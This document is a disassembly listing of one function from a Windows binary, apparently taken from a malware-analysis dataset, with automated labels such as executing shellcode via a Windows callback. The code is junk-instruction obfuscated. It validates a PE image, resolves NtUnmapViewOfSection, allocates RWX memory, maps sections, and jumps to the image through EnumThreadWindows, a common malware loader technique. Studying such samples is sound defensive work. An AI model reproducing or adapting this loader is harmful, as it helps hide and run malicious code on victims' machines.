Function at 0x140007837
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Parse pe header
Terminate process

Disassembly:
sahf
int 0xc7
pop rdi
lea ebp, [rdx]
push 0x51
pushfq
mov edi, 0xd7129900
invalid
mov qword [rsp + 8], rbx
bts r8w, r11w
xor r9w, 0x6e06
mov qword [rsp + 0x10], rbp
shrd r9w, bx, 0x82
mov qword [rsp + 0x18], rsi
test r8b, r13b
btr r9w, 0x40
mov qword [rsp + 0x20], rdi
shld r9d, esi, 0x43
push r12
push r14
xchg r12b, r12b
stc
bt r12w, dx
push r15
dec r9b
sub rsp, 0x40
btr r15w, ax
sub ebx, ebx
adc r8b, r13b
lea r8, str.lmfao
mov r15, rcx
not r12w
mov dword [rsp + 0x28], ebx
movsx r12d, r10w
sub cl, r11b
sbb r12b, 0xbe
mov r12, 0xffffffffffffffff
and r9w, r8w
mov qword [rsp + 0x20], rbx
mov r9d, r12d
shrd rcx, r10, 0x1f
or cx, cx
or rcx, 0x71451fe4
xor edx, edx
xchg cl, cl
movzx ecx, r13w
mov ecx, 0xfde9
jmp 0x1400078db
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
bswap dx
sbb dx, di
rol rdi, cl
lea edx, [rbx + 2]
bts di, r15w
movzx rdi, ax
sar di, cl
add ecx, 1
movsx edi, si
mov rdi, rsp
mov edi, eax
jmp 0x14000790b
cmovb rcx, r12
jmp 0x140007914
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov r8, qword [0x1400056e0]
or ecx, 0x7f5e1d8b
adc cl, spl
cmp al, r13b
mov r9d, r12d
movsx rcx, r13w
movsx ecx, di
cmc
sub edx, edx
cmovg ecx, esi
mov dword [rsp + 0x28], edi
movzx rcx, r12w
movsxd rcx, edi
mov ecx, 0xfde9
mov qword [0x1400056d8], rax
jmp 0x140007959
mov qword [rsp + 0x20], rax
jmp 0x140007963
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [0x1400056d8]
xchg dx, dx
lea rdx, [0x1400056cc]
jmp 0x14000797f
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [0x1400056cc]
shr rdi, 0xb5
mov ebp, ebx
rol di, 0xa9
mov qword [0x1400056d0], rax
lea edi, [rcx*8]
cmp bpl, r11b
test ecx, ecx
jmp 0x1400079ad
jle 0x140007a40
mov esi, ebx
sbb r9b, r13b
sal cl, cl
clc
nop word [rax + rax]
mov r8, qword [rsi + rax]
btc ecx, 0x5a
rol r9d, 0x94
mov r9d, r12d
rcl ecx, cl
sbb cx, 0x4fba
mov qword [rsp + 0x38], rbx
xor edx, edx
mov qword [rsp + 0x30], rbx
movsx ecx, si
not rcx
setbe ch
mov ecx, 0xfde9
jmp 0x1400079fb
mov dword [rsp + 0x28], ebx
jmp 0x140007a04
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebp
lea rsi, [rsi + 8]
clc
add edi, eax
test al, 6
cmp r12b, 0x61
cmp ebp, dword [0x1400056cc]
jmp 0x140007a29
jge 0x140007a40
mov rax, qword [0x1400056d0]
jmp 0x140007a3b
jmp 0x1400079c6
movsxd rdx, edi
cmc
sub ecx, ecx
jmp 0x140007a4b
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movsxd rdx, dword [0x1400056cc]
bts r14w, dx
sbb r14, 0x7170056a
mov r14d, ebx
or bp, 0x32e7
mov cx, r9w
bt rcx, 0x84
mov qword [0x1400056c0], rax
lea ecx, [rdx*8]
setg bpl
bts ebp, ebp
bt ebp, 0x10
sub edi, ecx
movsx ebp, dx
add bp, r9w
lea rbp, [rax + rdx*8]
test r13b, 0x4f
test edx, edx
jle 0x140007b63
mov rsi, rbx
btr cx, r11w
mov r8, qword [0x1400056d0]
sar rcx, cl
clc
mov r9d, r12d
bt rcx, rax
shr cx, 0xbe
adc ch, 0x5b
mov qword [rsp + 0x38], rbx
movsx ecx, r8w
sub edx, edx
movsx rcx, cx
movzx cx, r11b
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
jmp 0x140007aeb
mov dword [rsp + 0x28], edi
jmp 0x140007af4
mov r8, qword [rsi + r8]
mov qword [rsp + 0x20], rbp
jmp 0x140007b02
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [0x1400056c0]
test r11d, r10d
lea rsi, [rsi + 8]
cmp r15w, r12w
sub edi, eax
inc r14d
cmp r15w, 0x2105
cmc
mov qword [rsi + rcx - 8], rbp
btr rcx, r15
and cx, 0x45a5
shld ecx, r8d, 0xbd
movsxd rcx, eax
cmc
stc
cmp rax, 0x15a427d3
lea rbp, [rbp + rcx]
jmp 0x140007b51
cmp r14d, dword [0x1400056cc]
jmp 0x140007b5d
jl 0x140007aaf
mov dword [0x1400056c8], 1
test r15, r15
jmp 0x140007b75
je 0x140007dbc
mov eax, 0x5a4d
cmc
cmp bh, 0xae
cmp word [r15], ax
jne 0x140007dbc
movsxd rax, dword [r15 + 0x3c]
cmp eax, 0x400
jmp 0x140007b9c
jg 0x140007dbc
cmp dword [r15 + rax], 0x4550
xchg si, si
lea rsi, [r15 + rax]
jmp 0x140007bb6
jne 0x140007dbc
mov rdi, qword [rsi + 0x30]
inc r14b
lea r14, [rsi + 0xb0]
cmp dword [r14], ebx
sete ch
lea rcx, str.ntdll.dll
jmp 0x140007bdc
cmove r14, rbx
jmp 0x140007be5
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsi + 0x30]
cmovle rcx, rdx
mov rcx, r12
jmp 0x140007c0b
call rax
mov edx, dword [rsi + 0x50]
jmp 0x140007c18
mov r9d, 0x40
movsx ecx, r10w
mov r8d, r14d
movzx rcx, r8w
mov r8d, 0x3000
mov rcx, rdi
jmp 0x140007c37
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jmp 0x140007c48
jne 0x140007ca9
test r14, r14
jmp 0x140007c56
je 0x140007dbc
mov edx, dword [rsi + 0x50]
xadd r9w, r9w
movzx r8w, bpl
lea r9d, [rax + 0x40]
btr r8, r13
rcr r8w, cl
bt r8w, 0x49
xor ecx, ecx
movzx r8, si
setb r8b
movsxd r8, r12d
mov r8d, 0x3000
jmp 0x140007c93
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
cmp r14b, 4
test rax, rax
je 0x140007dbc
mov r8d, dword [rsi + 0x54]
not rdx
mov cl, r12b
mov rdx, r15
mov rcx, rbp
jmp 0x140007cbe
mov qword [rsi + 0x30], rbp
jmp 0x140007cc7
call sub.VCRUNTIME140.dll_memcpy
cmp bx, word [rsi + 6]
jae 0x140007d39
lea rdi, [rsi + 0x11c]
movsx r8w, r8b
nop word [rax + rax]
mov edx, dword [rdi]
sub cl, r14b
mov r8w, cx
rol r8b, cl
mov ecx, dword [rdi - 8]
mov r8d, r11d
lea rdx, [rdx + r15]
mov r8d, dword [rdi - 4]
test esi, 0x3aca1a54
cmp ax, 0x11bb
add rcx, rbp
jmp 0x140007d17
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsi + 6]
jmp 0x140007d25
lea rdi, [rdi + 0x28]
jmp 0x140007d2e
inc ebx
stc
cmp ebx, eax
jl 0x140007ceb
mov rcx, rbp
jmp 0x140007d41
call fcn.140001380
mov edx, dword [rsi + 0x28]
sub r8d, r8d
and sil, sil
and r14w, 0x7219
jmp 0x140007d5a
add rdx, rbp
rol rbx, 0xd6
cmp bl, bpl
xor ecx, ecx
mov rbx, qword [rsp + 0x60]
cmc
mov rbp, qword [rsp + 0x68]
and r15, 0x2a787c2c
mov rsi, qword [rsp + 0x70]
bts r15, r8
mov rdi, qword [rsp + 0x78]
adc r14b, r13b
shr r14b, cl
shld r14d, r13d, 0xd8
add rsp, 0x40
cmovb r15w, r11w
pop r15
movzx r14d, r15w
seto r14b
cmovle r12, rdx
pop r14
movsx r12d, sp
jmp 0x140007db3
pop r12
jmp qword [sym.imp.USER32.dll_EnumThreadWindows]
xor ecx, ecx
jmp 0x140007dc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x140001a72